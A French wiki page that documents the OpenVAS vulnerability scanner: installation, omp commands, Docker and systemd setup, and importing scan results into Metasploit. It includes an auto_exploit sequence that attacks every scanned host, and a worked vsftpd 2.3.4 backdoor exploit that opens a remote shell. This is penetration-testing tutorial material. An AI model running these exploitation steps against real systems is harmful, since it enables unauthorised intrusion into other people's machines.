Openvas

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche
Fiche express
Type Scanner de vulnérabilités (open source)
Origine Fork de Nessus 2 (passage propriétaire)
Tests NVT — Network Vulnerability Tests
Voir aussi Nessus · Scans metasploit

OpenVAS (Open Vulnerability Assessment System) est un scanner de vulnérabilités open source, concurrent de Nessus. Il est né d'un fork de Nessus version 2 lorsque ce dernier est devenu propriétaire. Il repose sur un ensemble de NVT (Network Vulnerability Tests) encapsulant de nombreux plugins pour effectuer des tests précis.

Référence : http://www.openvas.org

Un test se définit par : son nom, son périmètre, ses cibles (ex. 192.168.0.10/24 ou plusieurs IP séparées par des virgules) et son lancement.

Installation

openvas-mkcert
openvas-adduser
# Mise à jour des NVT
openvas-nvt-sync

En cas d'erreur de connexion, consulter /var/log/openvas/openvasmd.log. Pour un message « database is wrong version » :

openvasmd --migrate

Interface web : https://127.0.0.1:9392 (admin / pass).

Autres commandes utiles :

openvassd
openvas-client
netstat -antp | grep 9390
openvas-setup
openvas-check-setup

Exécution via Docker

Une image communautaire (non officielle) a longtemps circulé pour tester rapidement OpenVAS en conteneur :

docker run -d -p 443:443 --name openvas <image_communautaire_openvas>

Ce type d'image tierce est généralement peu maintenu dans la durée (versions figées, absence de mise à jour des NVT) et ne convient qu'à une découverte ponctuelle de l'outil. Pour un déploiement conteneurisé durable, le projet fournit désormais une édition packagée officiellement sous forme de plusieurs conteneurs (base PostgreSQL, moteur de scan, gestionnaire, interface web) orchestrés via Docker compose — se référer à la documentation officielle du projet pour la définition à jour de cette pile, les noms d'images et le nombre de conteneurs ayant évolué au fil des versions (à vérifier).

Ligne de commande (omp)

omp -?
omp --username=_khepri --get-tasks
omp -u _khepri -w pass --get-targets
omp -u _khepri -w pass --get-configs

Créer une cible :

omp -u <user> -w <password> --xml='
<create_target>
 <name>Target Name</name>
 <hosts>172.16.83.130</hosts>
</create_target>'

Créer et piloter une tâche :

omp --xml='<create_task>
 <name>Daily scan</name>
 <comment>Deep scan on Server 3</comment>
 <config id="74db13d6-7489-11df-91b9-002264764cea"/>
 <target id="8618ee57-27c2-4aaa-95f2-218f503a8398"/>
</create_task>'

omp --xml='<start_task task_id="267a3405-e84a-47da-97b2-5fa0d2e8995e"/>'
omp --xml='<stop_task task_id="267a3405-e84a-47da-97b2-5fa0d2e8995e"/>'
omp --xml='<pause_task task_id="267a3405-e84a-47da-97b2-5fa0d2e8995e"/>'

# Rapport
omp -iX '<get_tasks details="1"/>'

Fichier de configuration openvas.cfg :

[Connection]
host=localhost
port=9390
username=_khepri
password=examplepassword
omp --config-file=/root/scripts/openvas/openvas.cfg --get-targets

OpenVAS depuis la msfconsole

Prérequis : Postgres metasploit.

gsd
msfconsole
workspace -a ovdemo
load openvas
openvas_connect coslat coslat localhost 9390
openvas_report_list
openvas_report_import 5 4
hosts
load auto_exploit
vuln_exploit
sessions
sessions -i 2

Exemple d'exploitation : vsftpd

msfconsole
search vsftpd
use exploit/unix/ftp/vsftp_234_backdoor
show options
set RHOST 192.168.0.1
set RPORT 21
set LHOST 192.168.0.10
set PAYLOAD cmd/unix/interact
exploit
whoami

Certificats et démarrage manuel

openvas-nvt-sync
openvas-mkcert-client -n om -i
openvasmd --rebuild
openvassd
openvasmd --backup
openvasad -c 'add_user' -n openvasadmin -r admin
openvas-adduser
openvasmd -p 9390 -a 127.0.0.1
openvasad -a 127.0.0.1 -p 9393
gsad --http-only --listen=127.0.0.1 -p 9392

OpenVAS 8 (systemd)

openvas-setup
openvas-start

Adresse d'écoute de la GSA :

# /etc/systemd/system/greenbone-security-assistant.service.d/local.conf
[Service]
ExecStart=
ExecStart=/usr/sbin/gsad --foreground --listen=192.168.0.109 --port=9392
service openvas-scanner start
service openvas-manager start
service greenbone-security-assistant restart
openvasmd --create-user=admin --role=Admin
openvasmd --user=admin --new-password=YourPasswordHere

Voir aussi